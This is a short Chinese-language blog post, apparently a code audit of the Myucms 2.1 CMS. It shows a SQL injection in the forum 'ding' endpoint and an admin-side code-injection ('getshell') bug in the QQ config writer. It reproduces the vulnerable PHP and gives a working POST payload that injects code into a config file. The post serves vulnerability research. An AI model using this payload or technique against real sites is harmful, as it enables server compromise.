Myucms 2.1 SQL注入加后台getshell

前言

找了一个cms审了一下,有趣的是,这个cms的后台getshell挺明显的,本来想着能交个洞,搜了一下这个cms相关的洞…被交过了..而且还发了分析(就在前几天….

前台SQL注入

这个sql注入挺明显的

位置挺多,随便拉一处来分析一下

/bbs/Comment/ding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function ding()
{
if (!session('userid') || !session('username')) {
return json(array('code' => 0, 'msg' => '请登录'));
} else {
if (session('userid')!=1) {
$this->error('谁给你的权限?');
} else {
$id = input('id');
$data['settop'] = 1;
$datas['settop'] = 0;
$da = Db::name('forum')->where('id',$id)->value('settop');
if ($da == 0) {

if (Db::name('forum')->where("id = {$id}")->update($data)) {
return json(array('code' => 200, 'msg' => '置顶成功'));
} else {
return json(array('code' => 0, 'msg' => '置顶失败'));
}
} else {
if (Db::name('forum')->where("id = {$id}")->update($datas)) {
return json(array('code' => 200, 'msg' => '取消置顶成功'));
} else {
return json(array('code' => 0, 'msg' => '取消置顶失败'));
}
}
}
}
}

漏洞点单拉出来:

1
2
3
4
5
6
 if ($da == 0) { 
if (Db::name('forum')->where("id = {$id}")->update($data)) {
return json(array('code' => 200, 'msg' => '置顶成功'));
} else {
return json(array('code' => 0, 'msg' => '置顶失败'));
}

id={$id}明显存在注入,打个断点,看一下具体执行的是什么语句,去闭合一下

发现他的闭合形式为 where (id=1),闭合后进行注入即可

3yAhJP.png

后台getshell

这个getshell挺明显的

admin/controller/Config/addqq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function addqq()
{
$path = 'application/extra/qq.php';
$file = include $path;
$config = array(
'qq-appid' => input('qq-appid'),
'qq-appkey' => input('qq-appkey'),
'qq-callback' => input('qq-callback'),
);
$res = array_merge($file, $config);
$str = '<?php return [';
foreach ($res as $key => $value) {
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) {
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}

post传下参数进行闭合:

1
qq-appid=',phpinfo()];//1

访问下主页:
3yVzb4.png

后记

看完了五本灵异类小说….终于对这种小说的故事线开始产生厌倦了…